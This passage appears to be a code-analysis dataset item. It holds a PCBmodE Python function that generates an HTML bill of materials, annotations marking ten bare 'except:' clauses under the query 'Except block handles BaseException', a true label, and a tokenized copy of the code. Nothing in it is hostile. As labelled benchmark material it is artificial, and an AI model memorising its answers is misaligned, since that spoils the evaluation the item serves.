'suppliers':\n for supplier in item['suppliers']:\n\n try:\n number = bom_dict[desc][item['field']][supplier['field']]\n except:\n number = \"\"\n\n search_url = supplier.get('search-url')\n if search_url != None:\n content.append('<a href=\"%s%s\">%s</a>' % (search_url, number, number))\n else:\n content.append(number)\n\n elif item['field'] == 'quantity':\n units = len(bom_dict[desc]['refdefs'])\n content.append(\"%s\" % (str(units)))\n if quantity != None:\n content.append(\"%s\" % (str(units*int(quantity))))\n elif item['field'] == 'designators':\n # Natural/human sort the list of designators\n sorted_list = sorted(bom_dict[desc]['refdefs'], key=natural_key)\n\n refdefs = ''\n for refdef in sorted_list[:-1]:\n refdefs += \"%s \" % refdef\n refdefs += \"%s\" % sorted_list[-1]\n content.append(\"%s \" % refdefs)\n elif item['field'] == 'description':\n content.append(\"%s \" % desc)\n else:\n try:\n content.append(bom_dict[desc][item['field']])\n except:\n content.append(\"\")\n\n if desc == uncateg_text:\n uncateg_content = content\n elif desc == dnp_text:\n dnp_content = content\n else:\n html.append(' <tr>')\n for item in content:\n html.append(' <td class=\"tg-item-%s\">%s</td>' % (('odd','even')[index%2==0], item))\n html.append(' </tr>')\n index += 1\n\n\n for content in (dnp_content, uncateg_content):\n html.append(' <tr class=\"tg-skip\">')\n html.append(' </tr>') \n html.append(' <tr>')\n if len(content) > 0:\n content[0] = index\n for item in content:\n html.append(' <td class=\"tg-item-%s\">%s</td>' % (('odd','even')[index%2==0], item))\n html.append(' </tr>')\n index += 1\n\n\n html.append('</table>')\n\n html.append('<p>Generated by <a href=\"http://pcbmode.com\">PCBmodE</a>, an open source PCB design software. PCBmodE was written and is maintained by <a href=\"http://boldport.com\">Boldport</a>, creators of beautifully functional circuits.')\n\n html.append('</html>')\n\n with open(bom_html, \"wb\") as f:\n for line in html:\n f.write(line+'\\n')\n\n \n #print bom_dict", "metadata": "root.make_bom", "header": "['module', '___EOS___']", "index": 22 } ]
[ { "span": "except:", "start_line": 46, "start_column": 8, "end_line": 46, "end_column": 15 }, { "span": "except:", "start_line": 51, "start_column": 8, "end_line": 51, "end_column": 15 }, { "span": "except:", "start_line": 60, "start_column": 12, "end_line": 60, "end_column": 19 }, { "span": "except:", "start_line": 73, "start_column": 12, "end_line": 73, "end_column": 19 }, { "span": "except:", "start_line": 78, "start_column": 12, "end_line": 78, "end_column": 19 }, { "span": "except:", "start_line": 90, "start_column": 12, "end_line": 90, "end_column": 19 }, { "span": "except:", "start_line": 106, "start_column": 4, "end_line": 106, "end_column": 11 }, { "span": "except:", "start_line": 193, "start_column": 4, "end_line": 193, "end_column": 11 }, { "span": "except:", "start_line": 233, "start_column": 20, "end_line": 233, "end_column": 27 }, { "span": "except:", "start_line": 261, "start_column": 16, "end_line": 261, "end_column": 23 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "make", "\\u", "bom", "_", "(_", "quantity_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "natur", "al", "\\u", "key_", "(_", "string", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "See", " ", "http", "://", "www", ".", "codi", "ngh", "orr", "or", ".", "com", "/", "blog", "/", "archives", "/", "0010", "18.", "html", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "int_", "(_", "s_", ")_", "if_", "s_", "._", "isdigit_", "(_", ")_", "else_", "s_", "for_", "s_", "in_", "re_", "._", "split_", "(_", "r", "'(\\\\", "d", "+)'_", ",_", "string", "\\u_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dn", "p", "\\u", "text_", "=_", "'", "Do", " ", "not", " ", "populate", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "unca", "teg", "\\u", "text_", "=_", "'", "Unc", "ate", "gori", "sed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "component", "s", "\\u", "dict_", "=_", "config_", "._", "brd", "_", "[_", "'", "component", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "bom", "\\u", "dict_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "ref", "def_", "in_", "component", "s", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "description_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "place_", "=_", "component", "s", "\\u", "dict_", "[_", "ref", "def_", "]_", "[_", "'", "place", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "place_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ignore_", "=_", "component", "s", "\\u", "dict_", "[_", "ref", "def_", "]_", "[_", "'", "bom", "'_", "]_", "[_", "'", "ignore", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ignore_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "component", " ", "isn", "'", "t", " ", "place", "d", ",", " ", "ignore", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "place_", "==_", "True_", "and_", "ignore_", "==_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "footprint", " ", "definit", "ion", " ", "and", " ", "shapes_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "footprint", "\\u", "name_", "=_", "component", "s", "\\u", "dict_", "[_", "ref", "def_", "]_", "[_", "'", "footprint", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "._", "error_", "(_", "\"", "Cann", "ot", " ", "find", " ", "a", " ", "'", "footprint", "'", " ", "name", " ", "for", " ", "ref", "def", " ", "%", "s", ".\"_", "%_", "ref", "def_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Open", " ", "footprint", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fname_", "=_", "os_", "._", "path_", "._", "join_", "(_", "config_", "._", "cfg_", "[_", "'", "base", "-", "dir", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "config_", "._", "cfg_", "[_", "'", "location", "s", "'_", "]_", "[_", "'", "component", "s", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "footprint", "\\u", "name_", "+_", "'.", "json", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "footprint", "\\u", "dict_", "=_", "utils_", "._", "dict", "Fro", "m", "Js", "on", "File_", "(_", "fname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "info", "\\u", "dict_", "=_", "footprint", "\\u", "dict_", "._", "get_", "(_", "'", "info", "'_", ")_", "or_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "comp", "\\u", "bom", "\\u", "dict_", "=_", "component", "s", "\\u", "dict_", "[_", "ref", "def_", "]_", "[_", "'", "bom", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "comp", "\\u", "bom", "\\u", "dict_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fp", "\\u", "bom", "\\u", "dict_", "=_", "footprint", "\\u", "dict_", "[_", "'", "info", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fp", "\\u", "bom", "\\u", "dict_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Override", " ", "component", " ", "Bo", "M", " ", "info", " ", "on", " ", "top", " ", "of", " ", "footprint", " ", "info_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "key_", "in_", "comp", "\\u", "bom", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fp", "\\u", "bom", "\\u", "dict_", "[_", "key_", "]_", "=_", "comp", "\\u", "bom", "\\u", "dict_", "[_", "key_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "description_", "=_", "fp", "\\u", "bom", "\\u", "dict_", "._", "get_", "(_", "'", "description", "'_", ")_", "or_", "unca", "teg", "\\u", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dn", "p_", "=_", "component", "s", "\\u", "dict_", "[_", "ref", "def_", "]_", "[_", "'", "bom", "'_", "]_", "[_", "'", "dn", "p", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dn", "p_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "dn", "p_", "==_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "description_", "=_", "dn", "p", "\\u", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "description_", "not_", "in_", "bom", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bom", "\\u", "dict_", "[_", "description_", "]_", "=_", "fp", "\\u", "bom", "\\u", "dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bom", "\\u", "dict_", "[_", "description_", "]_", "[_", "'", "ref", "def", "s", "'_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "bom", "\\u", "dict_", "[_", "description_", "]_", "[_", "'", "ref", "def", "s", "'_", "]_", "._", "append_", "(_", "ref", "def_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "bom", "\\u", "dict_", "[_", "description_", "]_", "[_", "'", "placem", "ent", "'_", "]_", "=_", "component", "s", "\\u", "dict_", "[_", "ref", "def_", "]_", "[_", "'", "layer", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bom", "\\u", "content_", "=_", "config_", "._", "brd", "_", "[_", "'", "bom", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bom", "\\u", "content_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "field", "\"_", ":_", "\"", "line", "-", "item", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "text", "\"_", ":_", "\"#\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "field", "\"_", ":_", "\"", "quanti", "ty", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "text", "\"_", ":_", "\"", "Qt", "y", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "field", "\"_", ":_", "\"", "designat", "ors", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "text", "\"_", ":_", "\"", "Designat", "ors", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "field", "\"_", ":_", "\"", "description", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "text", "\"_", ":_", "\"", "Descripti", "on", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "field", "\"_", ":_", "\"", "package", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "text", "\"_", ":_", "\"", "Packa", "ge", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "field", "\"_", ":_", "\"", "manufactur", "er", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "text", "\"_", ":_", "\"", "Manufacturer", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "field", "\"_", ":_", "\"", "part", "-", "number", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "text", "\"_", ":_", "\"", "Part", " ", "#\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "field", "\"_", ":_", "\"", "supplier", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "text", "\"_", ":_", "\"", "Supplier", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "supplier", "s", "\"_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "field", "\"_", ":_", "\"", "far", "nell", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "text", "\"_", ":_", "\"", "Far", "nell", " ", "#\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "search", "-", "url", "\"_", ":_", "\"", "http", "://", "uk", ".", "far", "nell", ".", "com", "/", "catal", "og", "/", "Sear", "ch", "?", "st", "=\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "field", "\"_", ":_", "\"", "mouse", "r", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "text", "\"_", ":_", "\"", "Mouse", "r", " ", "#\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "search", "-", "url", "\"_", ":_", "\"", "http", "://", "uk", ".", "mouse", "r", ".", "com", "/", "Sear", "ch", "/", "Ref", "ine", ".", "asp", "x", "?", "Key", "word", "=\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "field", "\"_", ":_", "\"", "octop", "art", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "text", "\"_", ":_", "\"", "Oct", "opa", "rt", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "search", "-", "url", "\"_", ":_", "\"", "https", "://", "octop", "art", ".", "com", "/", "search", "?", "q", "=\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "field", "\"_", ":_", "\"", "placem", "ent", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "text", "\"_", ":_", "\"", "Layer", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "field", "\"_", ":_", "\"", "note", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "text", "\"_", ":_", "\"", "Not", "es", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Set", " ", "up", " ", "the", " ", "Bo", "M", " ", "file", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "bom", "\\u", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "config_", "._", "cfg_", "[_", "'", "base", "-", "dir", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "config_", "._", "cfg_", "[_", "'", "location", "s", "'_", "]_", "[_", "'", "build", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bom", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Creat", "e", " ", "path", " ", "if", " ", "it", " ", "doe", "sn", "'", "t", " ", "exist", " ", "alr", "ead", "y_", "\\u\\u\\uNL\\u\\u\\u_", "utils_", "._", "create", "\\u", "dir_", "(_", "bom", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "board", "\\u", "name_", "=_", "config_", "._", "cfg_", "[_", "'", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "board", "\\u", "revision_", "=_", "config_", "._", "brd", "_", "[_", "'", "config", "'_", "]_", "._", "get_", "(_", "'", "rev", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base", "\\u", "name_", "=_", "\"%", "s", "\\u", "rev", "\\u", "%", "s", "\"_", "%_", "(_", "board", "\\u", "name_", ",_", "board", "\\u", "revision_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "bom", "\\u", "html_", "=_", "os_", "._", "path_", "._", "join_", "(_", "bom", "\\u", "path_", ",_", "base", "\\u", "name_", "+_", "'\\u", "%", "s", ".", "html", "'_", "%_", "'", "bom", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bom", "\\u", "csv_", "=_", "os_", "._", "path_", "._", "join_", "(_", "bom", "\\u", "path_", ",_", "base", "\\u", "name_", "+_", "'\\u", "%", "s", ".", "csv", "'_", "%_", "'", "bom", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "html_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "csv_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "html_", "._", "append_", "(_", "'<", "html", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "'<", "style", " ", "type", "=\"", "text", "/", "css", "\">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "css_", "=_", "config_", "._", "stl", "_", "[_", "'", "layout", "'_", "]_", "[_", "'", "bom", "'_", "]_", "[_", "'", "css", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "css_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "line_", "in_", "css_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "html_", "._", "append_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "html_", "._", "append_", "(_", "'<", "/", "style", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "'<", "table", " ", "class", "=\"", "tg", "\">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "header_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "bom", "\\u", "content_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "item_", "[_", "'", "field", "'_", "]_", "==_", "'", "supplier", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "supplier", "_", "in_", "item_", "[_", "'", "supplier", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "header_", "._", "append_", "(_", "\"%", "s", "\"_", "%_", "supplier", "_", "[_", "'", "text", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "header_", "._", "append_", "(_", "\"%", "s", "\"_", "%_", "item_", "[_", "'", "text", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "item_", "[_", "'", "field", "'_", "]_", "==_", "'", "quanti", "ty", "'_", "and_", "quantity_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "header_", "._", "append_", "(_", "\"@", "%", "s", "\"_", "%_", "quantity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "html_", "._", "append_", "(_", "'", " ", " ", "<", "tr", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "'", " ", " ", " ", " ", "<", "th", " ", "class", "=\"", "tg", "-", "title", "\"", " ", "colsp", "an", "=\"", "%", "s", "\">", "Bill", " ", "of", " ", "material", "s", " ", "--", " ", "%", "s", " ", "rev", " ", "%", "s", "</", "th", ">'_", "%_", "(_", "len_", "(_", "header_", ")_", ",_", "board", "\\u", "name_", ",_", "board", "\\u", "revision_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "'", " ", " ", "</", "tr", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "._", "append_", "(_", "'", " ", " ", "<", "tr", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "header_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "html_", "._", "append_", "(_", "'", " ", " ", " ", " ", "<", "th", " ", "class", "=\"", "tg", "-", "header", "\">", "%", "s", "</", "th", ">'_", "%_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "html_", "._", "append_", "(_", "'", " ", " ", "</", "tr", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "unca", "teg", "\\u", "content_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "p", "\\u", "content_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "desc_", "in_", "bom", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "content_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "bom", "\\u", "content_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "item_", "[_", "'", "field", "'_", "]_", "==_", "'", "line", "-", "item", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "content_", "._", "append_", "(_", "\"<", "strong", ">", "%", "s", "</", "strong", ">\"_", "%_", "str_", "(_", "index_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "item_", "[_", "'", "field", "'_", "]_", "==_", "'", "supplier", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "supplier", "_", "in_", "item_", "[_", "'", "supplier", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "number_", "=_", "bom", "\\u", "dict_", "[_", "desc_", "]_", "[_", "item_", "[_", "'", "field", "'_", "]_", "]_", "[_", "supplier", "_", "[_", "'", "field", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "number_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "search", "\\u", "url_", "=_", "supplier", 